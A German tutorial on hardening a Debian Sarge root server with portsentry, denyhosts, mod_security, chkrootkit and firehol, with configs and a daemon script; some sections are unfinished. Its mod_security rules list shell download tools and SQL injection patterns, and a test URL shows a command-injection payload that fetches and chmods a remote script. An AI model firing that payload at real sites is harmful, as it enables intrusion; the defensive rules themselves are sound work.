Einen Rootserver absichern mit:
- portsentry – Überwacht alle Ports und erkennt Portscanning und blockiert die IP-Adresse dynamisch
- denyhosts – Überwacht Logfiles und sperrt die IP-Adresse sobald x Loginversuche per SSH unternommen worden sind ins System einzudringen.
- mod_security für Apache2 – IDS Firewall für Apache – Erkennt allow_url_fopen attacks, URL attacks (wget), SQL attacks usw. Regeln können auch selbst definiert werden Regelsätze von ModSecurity
- chkrootkit – Erkennt bekannte Rootkits.
- aide – Erzeugt eine Datenbank welche mit Checksummen Dateien auf dem System prüft und erkennt wenn eine Datei verändert worden ist. (z.B. Rootkits)
- logwatch – Erzeugt eine übersichtliche Zusammenfassung aller Events die von Bedeutung sind und kann diese per Mail verschicken.
- firehol – Tool zum Erstellen von iptables Regelsätzen
Anleitung für Debian Sarge
portsentry
~~UP~~
Schritt 1: Installation von portsentry
apt-get install portsentry
Schritt 2: Anpassen der Konfiguration
nano /etc/portsentry/portsentry.conf
Per default ist in der Konfiguration schon eingestellt das er Ports nur unter 1024 überwacht was ausreichend ist, da sich hier die meisten brisanten Dienste ansiedeln. Wenn alles gesperrt werden soll müssen folgende Parameter angepasst werden:
ADVANCED_PORTS_TCP="1024" ADVANCED_PORTS_UDP="1024"
Folgende Parameter wurden geändert:
BLOCK_UDP="0" -> BLOCK_UDP="1" BLOCK_TCP="0" -> BLOCK_TCP="1" #KILL_HOSTS_DENY="ALL: $TARGET$" -> KILL_HOSTS_DENY="ALL: $TARGET$"
BLOVK_UDP und BLOCK_TCP verhindern Portscans wenn Sie auf “1” gesetzt werden. KILL_HOSTS_DENY ist die Aktion die gestartet werden soll wenn ein Angreifer gesperrt werden soll. Dieser wird in diesem Fall über /etc/hosts.deny gesperrt.
Schritt 3: Neustarten des Prozesses
/etc/init.d/portsentry restart
Schritt 4: Test von Portsentry
Achtung ! Wenn Portsentry mit einem Portscanner getestet wird kann man sich selbst aussperren !
Dann ist nur noch Zugriff über die Rettungskonsole oder mit einer neuen dynamischen IP-Adresse möglich.
Fertig!
denyhosts
~~UP~~
Für denyhosts gibt es kein fertiges Debianpaket deshalb muss es downgeloaded werden.
Schritt 1: Installation
Denyhosts basiert auf Phyton deshalb installieren wir folgende Pakete:
apt-get install python python2.3-dev python2.3
Jetzt besorgen wir uns Denyhosts entpacken und installieren es:
cd /tmp wget http://mesh.dl.sourceforge.net/sourceforge/denyhosts/DenyHosts-2.0.tar.gz tar xvfz DenyHosts-2.0.tar.gz cd DenyHosts-2.0 python setup.py install
Denyhosts wird in foldenden Pfad installiert:
/usr/share/denyhosts
Schritt 2: Konfiguration von Denyhosts
cd /usr/share/denyhosts cp denyhosts.cfg-dist denyhosts.cfg nano denyhosts.cfg
SECURE_LOG = /var/log/auth.log HOSTS_DENY = /etc/hosts.deny PURGE_DENY = BLOCK_SERVICE = sshd DENY_THRESHOLD_INVALID = 5 DENY_THRESHOLD_VALID = 10 DENY_THRESHOLD_ROOT = 5 WORK_DIR = /usr/share/denyhosts/data SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES HOSTNAME_LOOKUP=YES LOCK_FILE = /var/run/denyhosts.pid ADMIN_EMAIL = foo@bar.com SMTP_HOST = localhost SMTP_PORT = 25 SMTP_FROM = DenyHosts <nobody@localhost> SMTP_SUBJECT = DenyHosts Report AGE_RESET_VALID=5d AGE_RESET_ROOT=25d AGE_RESET_INVALID=10d DAEMON_LOG = /var/log/denyhosts DAEMON_SLEEP = 30s DAEMON_PURGE = 1h
Bitte darauf achten, das die korrekten Pfade für SECURE_LOG und LOCK_FILE gesetzt sind. Bei Debian sind diese:
SECURE_LOG = /var/log/auth.log LOCK_FILE = /var/run/denyhosts.pid
Schritt 3: Daemon Control File vorbereiten
Folgende drei Parameter müssen in der Datei /usr/share/denyhosts/daemon-control angepasst werden:
DENYHOSTS_BIN = "/usr/bin/denyhosts.py" DENYHOSTS_LOCK = "/var/run/denyhosts.pid" DENYHOSTS_CFG = "/usr/share/denyhosts/denyhosts.cfg"
Beispiel:
#!/usr/bin/env python # denyhosts Bring up/down the DenyHosts daemon # # chkconfig: 2345 98 02 # description: Activates/Deactivates the # DenyHosts daemon to block ssh attempts # ############################################### ############################################### #### Edit these to suit your configuration #### ############################################### DENYHOSTS_BIN = "/usr/bin/denyhosts.py" DENYHOSTS_LOCK = "/var/run/denyhosts.pid" DENYHOSTS_CFG = "/usr/share/denyhosts/denyhosts.cfg" ############################################### #### Do not edit below #### ############################################### import os, sys, signal, time STATE_NOT_RUNNING = -1 STATE_LOCK_EXISTS = -2 def usage(): print "Usage: %s {start [args...] | stop | restart [args...] | status | debug | condrestart [args...] }" % sys.argv[0] print print "For a list of valid 'args' refer to:" print "$ denyhosts.py --help" print sys.exit(0) def getpid(): try: fp = open(DENYHOSTS_LOCK, "r") pid = int(fp.readline().rstrip()) fp.close() except Exception, e: return STATE_NOT_RUNNING if os.access(os.path.join("/proc", str(pid)), os.F_OK): return pid else: return STATE_LOCK_EXISTS def start(*args): cmd = "%s --daemon " % DENYHOSTS_BIN if args: cmd += ' '.join(args) print "starting DenyHosts: ", cmd os.system(cmd) def stop(): pid = getpid() if pid >= 0: os.kill(pid, signal.SIGTERM) print "sent DenyHosts SIGTERM" else: print "DenyHosts is not running" def debug(): pid = getpid() if pid >= 0: os.kill(pid, signal.SIGUSR1) print "sent DenyHosts SIGUSR1" else: print "DenyHosts is not running" def status(): pid = getpid() if pid == STATE_LOCK_EXISTS: print "%s exists but DenyHosts is not running" % DENYHOSTS_LOCK elif pid == STATE_NOT_RUNNING: print "Denyhosts is not running" else: print "DenyHosts is running with pid = %d" % pid def condrestart(*args): pid = getpid() if pid >= 0: restart(*args) def restart(*args): stop() time.sleep(1) start(*args) if __name__ == '__main__': cases = {'start': start, 'stop': stop, 'debug': debug, 'status': status, 'condrestart': condrestart, 'restart': restart} try: args = sys.argv[2:] except: args = [] try: option = sys.argv[1] if option in ('start', 'restart', 'condrestart'): if '--config' not in args and '-c' not in args: args.append("--config=%s" % DENYHOSTS_CFG) cmd = cases[option] apply(cmd, args) except: usage()
Den Eigentümer auf root setzen und 700 als Rechte
chown root daemon-control chmod 700 daemon-control
Denyhosts zu den Daemons hinzufügen
cd /etc/init.d ln -s /usr/share/denyhosts/daemon-control denyhosts update-rc.d denyhosts defaults
Schritt 4: Daemon starten
/etc/init.d/denyhosts start
Fertig!
mod_security
~~UP~~
Schritt 1: Installation von mod_security
Problem: Das Paket was von den Debian Packet Maintainern zurverfügung gestellt wird ist eine alte 0.8.4 Version. Diese unterstützt einige Parameter zum deaktivieren von Rules nicht. Deshalb fügen wir noch eine Source Quelle zu sources.list hinzu.
nano /etc/apt/sources.list
Folgdende zeilen einfach an das Ende anfügen:
deb http://etc.inittab.org/~agi/debian/libapache-mod-security/sarge ./
Dann noch ein
apt-get update
um die Paketinformationen zu bekommen.
Modul installieren:
apt-get install libapache2-mod-security
Modul zu Apache 2 installieren:
a2enmod mod-security
Schritt 2: Konfiguration bearbeiten
cd /etc/apache2
Erstellen der mod_sec_filter.conf:
touch mod_sec-filter.conf
Beispiel:
# ----------------------------------------------------------------------------- # Start Rules (Gerneric) # ----------------------------------------------------------------------------- # Enforce proper HTTP requests SecFilterSelective THE_REQUEST "!HTTP\/(0\.9|1\.0|1\.1)$" # check for bad meta characters in User-Agent field SecFilterSelective HTTP_USER_AGENT ".*\'" # Require Content-Length to be provided with every POST request SecFilterSelective REQUEST_METHOD "^POST$" chain SecFilterSelective HTTP_Content-Length "^$" # Don't accept transfer encodings we know we don't handle (and you don't need it anyway) SecFilterSelective HTTP_Transfer-Encoding "!^$" # Don't accept chunked encodings SecFilterSelective HTTP_Transfer-Encoding "chunked" # must have a useragent string SecFilterSelective "HTTP_USER_AGENT|HTTP_HOST" "^$" # Again, this is better protected by removing these functions in php.ini SecFilterSelective ARGS "(system|exec|passthru|popen|shell_exec|proc_open|fopen|fwrite)\s*\(" # Prevent path traversal (..) attacks SecFilter "\.\./" # generic recursion signature SecFilterSelective THE_REQUEST "\.\./\.\./" # generic attack sig SecFilterSelective THE_REQUEST "cd *\;(cd|\;|echo|perl|python|rpm|yum|apt-get|emerge|lynx|links|mkdir|elinks|cmd|pwd| wget|id|uname|cvs|svn|(s|r)(cp|sh)|rexec|smbclient|t?ftp|ncftp|curl|telnet|gcc|cc|g\+\+|\./)" # generic filter to prevent SQL injection attacks SecFilter "[[:space:]]+(select|grant|delete|insert|drop|alter|replace|truncate|update|create|rename| describe)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]+[[:space:]]+(from|into|table|database|index|view)[[:space:]]+[A-Z|a-z|0-9|\*| |\,]" # generic PHP remote file inclusion attack SecFilter "\.php\?" chain SecFilter "(http|https|ftp)\:/" chain SecFilter "cmd=(cd|\;|perl|python|rpm|yum|apt-get|emerge|lynx|links|mkdir|elinks|cmd|pwd|wget|id| uname|cvs|svn|(s|r)(cp|sh)|rexec|smbclient|t?ftp|ncftp|curl|telnet|gcc|cc|g\+\+|\./)" # generic sig for more bad PHP functions SecFilterSelective THE_REQUEST "chr\(([0-9]{1,3})\)" SecFilterSelective THE_REQUEST "chr\([0-9a-fA-Fx]+\)" # SQL injection attacks SecFilter "delete[[:space:]]+from" SecFilter "insert[[:space:]]+into" SecFilter "select.+from" # SQL injection in cookies SecFilterSelective COOKIE_sessionid ".*(select|grant|delete|insert|drop|do|alter|replace|truncate|update|create|rename| describe)[[:space:]]+[A-Z|a-z|0-9|\*||\,]+[[:space:]]+(from|into|table|database|index|view)" # ----------------------------------------------------------------------------- # Start Rules (experimental) # ----------------------------------------------------------------------------- # experimental generic remote download sig foo IP or FQDN or foo http/https/ftp://whatever SecFilterSelective THE_REQUEST "(perl|t?ftp|links|elinks|lynx|ncftp|(s|r)(cp|sh)|wget|curl|cvs|svn).* ((http|https|ftp)\:/| [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|.*[A-Za-z|0-9]\.[a-zA-Z]{2,4}/)" SecFilterSelective THE_REQUEST "( |\;|/|\'|,|\&|\=|\.)((s|r)(sh|cp)) *(.*\@.*|(http|https|ftp)\:/|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|.*[A-Za-z| 0-9]\.[a-zA-Z]{2,4}/)" # XSS atacks (HTML/Javascript injection) # SecFilter "<(.| )+>" # deactivated since it causes problems with Serendipity when creating new entries # this is the error message: mod_security-message: Access denied with code 406. Pattern match "<(.| )+>" at POST_PAYLOAD.
Erstellen der mod_security.conf:
cd /etc/apache2/conf.d touch mod_security.conf nano mod_security.conf
Beispiel:
<IfModule mod_security.c> # Only inspect dynamic requests # (YOU MUST TEST TO MAKE SURE IT WORKS AS EXPECTED) # SecFilterEngine DynamicOnly # Turn the filtering engine On or Off SecFilterEngine On # Reject requests with status 404 SecFilterDefaultAction "deny,log,status:404" # Some sane defaults SecServerResponseToken Off SecFilterScanPOST Off SecFilterCheckURLEncoding On SecFilterCheckCookieFormat On SecFilterCheckUnicodeEncoding Off # If you want to scan the output, uncomment these # SecFilterScanOutput On # SecFilterOutputMimeTypes "(null) text/html text/plain" # Accept almost all byte values SecFilterForceByteRange 1 255 # Only record the interesting stuff SecAuditEngine RelevantOnly SecAuditLog /var/log/apache/audit_log # You normally won't need debug logging SecFilterDebugLevel 0 SecFilterDebugLog /var/log/apache/modsec_debug_log # Include rules Include /etc/apache2/mod_sec_filter.conf </IfModule>
Schritt 3: Apache neustarten und testen
/etc/init.d/apache2 restart
Mit dieser Konfiguration sollte es nicht mehr möglich sein folgenden Link aufzurufen:
Beispiel:
http://-deine-seite.de-/deinscript.php?irgendwas=cmd|cd%20/tmp%20|wget%20foobar.org/boesesscript|chmod%20755%20boesesscript|usw.
Um in einer Webseite einen Filter auszuschließen muss Ihm eine ID zugeordnet werden:
z.B. SecFilter wget id:1003
Im Vhost wird dann mit einer Directory Anweisung der Filter ausgeschlossen:
<Directory /var/www/webseite/pma> SecFilterRemove 1003 </Directory>
Um alle Filter zu deaktivieren für ein Verzeichnis einfach:
<Directory /var/www/webseite/pma> SecFilterInheritance Off </Directory>
Dies deaktiviert die Filtervererbung in dieses Verzeichnis.
Fertig!
chkrootkit
~~UP~~
Schritt 1: Installation
apt-get install chkrootkit
Schritt 2: Konfiguration
nano /etc/chkrootkit.conf
Folgende Parameter in dieser Datei setzen:
RUN_DAILY="true" RUN_DAILY_OPTS="-q"
Fertig!
aide
Schritt 1: Installation
apt-get install aide
Schritt 2: Konfiguration
Kommt noch
Schritt 3: Datenbank erzeugen
Kommt noch
Schritt 4: Dienst neustarten
Kommt noch
logwatch
~~UP~~
Kommt noch
firehol
~~UP~~
Schritt 1: Installation
apt-get install firehol
Schritt 2: Konfiguration
Vorhandene Filtersets sind auf folgender Webseite verfügbar:
# # $Id: client-all.conf,v 1.2 2002/12/31 15:44:34 ktsaou Exp $ # # This configuration file will allow all requests originating from the # local machine to be send through all network interfaces. # # No requests are allowed to come from the network. The host will be # completely stealthed! It will not respond to anything, and it will # not be pingable, although it will be able to originate anything # (even pings to other hosts). # version 5 # Diese Zeilen auskommentieren #interface any world # client all accept # Alle öffentlichen IP-Adressen ausser private z.B. 192.168.0.0/16 interface eth0 INTERNET src not "${UNROUTABLE_IPS}" # Default Policy wenn keine Regel zutrifft policy drop # Verschiedene Schutzmechanismen protection reverse icmp-floods 30/min 20 protection reverse syn-floods protection reverse invalid protection reverse fragments protection reverse malformed-xmas protection reverse malformed-null protection reverse malformed-bad protection icmp-floods 30/min 20 protection syn-floods protection invalid protection fragments protection malformed-xmas protection malformed-null protection malformed-bad ######################################################### #Eingehend ######################################################### # Eingehend SSH server ssh accept # Eingehend HTTP/HTTPS server http accept server https accept # Eingehend DNS server dns accept # Eingehend POP3/POP3s server pop3 accept server pop3s accept # Eingehend IMAP/IMAPs server imap accept server imaps accept # Eingehend SMTP server smtp accept # Eingehend FTP server ftp accept ######################################################### #Ausgehened ######################################################### # Nur "root" darf HTTP/FTP ausgehend verwenden client http accept user "root" client ftp accept user "root" # Alle dürfen DNS/SSH client dns accept client ssh accept # Nur "postfix" darf SMTP ausgehend verwenden client smtp accept user "postfix"
Schritt 3: Konfiguration testen und Fertigstellen
FireHOL liefert eine Funktion mit die es ermöglicht Filtersets zu testen ohne das Risiko sich auszusperren. Das Filterset wird für 30 Sekunden aktiviert. In dieser Zeit hat man die Möglichkeit die Filter zu testen. Falls das Filterset funktioniert kann man mit der Eingabe von “commit” nach den 30 Sekunden das Filterset dauerhaft aktivieren, wenn nicht einfach Return drücken.
/sbin/firehol try Keep the firewall? (type 'commit' to accept - 30 seconds timeout) :